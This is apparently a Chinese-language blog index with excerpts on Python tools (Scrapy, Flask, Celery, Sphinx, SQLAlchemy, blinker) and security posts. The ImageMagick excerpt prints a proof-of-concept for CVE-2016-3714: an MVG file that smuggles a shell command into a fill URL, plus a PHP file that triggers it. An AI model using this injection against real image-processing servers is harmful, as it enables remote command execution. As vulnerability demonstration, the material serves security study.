Blinker Information Module

0x01 消息机制

消息机制,从字面理解,通过传递消息来触发某些事件。第一次接触到的时候,让我想到的是win的消息触发机制。在Python中,blinker主要用于解耦模块,使得代码逻辑更加清晰,其他作用我还没接触到,有待开发。
比如登陆逻辑,通常情况下像这个样子:

閱讀更多

Scrapy做一点微小的事情

0x01 爬虫

爬虫是一种自动化获取网络信息的程序。Scrapy是python实现的著名的爬虫框架。以前实现过一些简单的爬虫项目,用以获取特定信息。我做的爬虫基于两个模块,一是目标解析获取、二是站点页面解析,通过解析初始页面向消费者队列中添加需要爬取得url,页面解析模块则从队列中拉取url解析并存储数据。这是最基本的爬虫模型,看起来可扩展性差了很多。最近没有什么开发项目,便熟悉下scrapy框架,学习优秀的产品,做低调的魔法师。

閱讀更多

ImageMagick RCE && Dili CMS

ImageMagick

ImageMagic CVE-2016-3714 影响范围较广,以PHP的Imagick为最。
构建exploit.png

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'

pop graphic-context

然后构建vul.php文件
1
2
3
<?php
new Imagick('exploit.png');
?>


访问vul.php就会导致命令执行,显示文件目录

閱讀更多

Nginx+Flask+uWSGI deploy

0x01 Introduction

uWSGI是一款Web服务器,它实现了WSGI协议、uwsgi、http等协议。 Nginx中的HttpUwsgiModule的作用是与uWSGI服务器进行交换。网上介绍速度比fcgi快十倍。特点如下:

閱讀更多

DiliCMS vulnerabilities

0x01 Vulnerabilities

Sqli:

閱讀更多

Celery Daemon Init

0x01 Use Guide of Celery Daemon

In production environment I need celery runing as daemon process. According to the official document,there are several ways to use, such as generic init scripts,systemd,supervisord and so on.

閱讀更多

Beautiful Doc --Sphinx

0x01 Sphinx

Sphinx is a huge and enormous stone like a mixture of lion and people ,where is located at Egypt. However I will introduce a tool that makes it easy to create beautiful and intelligent documentation,written by Georg Brandl and licensed under the BSD license.
The following features should be highlighted:

閱讀更多

First use Flask

0x01 Essay

In the past time I ofen used Thinkphp for my web develop. Today I received a develop requirement where invoking a python script. I took this opportunity to try Flask. Bear in mind.

閱讀更多

SQLAlchemy

0x01 Intraduction

SQLAlchemy is a flexible library for SQL ORM of python.It can help you work with high-level SQL witch is constructed automatically for you,as well as automated persistence of Python objects.

閱讀更多

Simple Celery

0x01 Introduction

Celery is a simple, flexible and reliable distributed system to process vast amounts of messages. It’s a task queue with focus on real-time processing, while also supporting task scheduling.

閱讀更多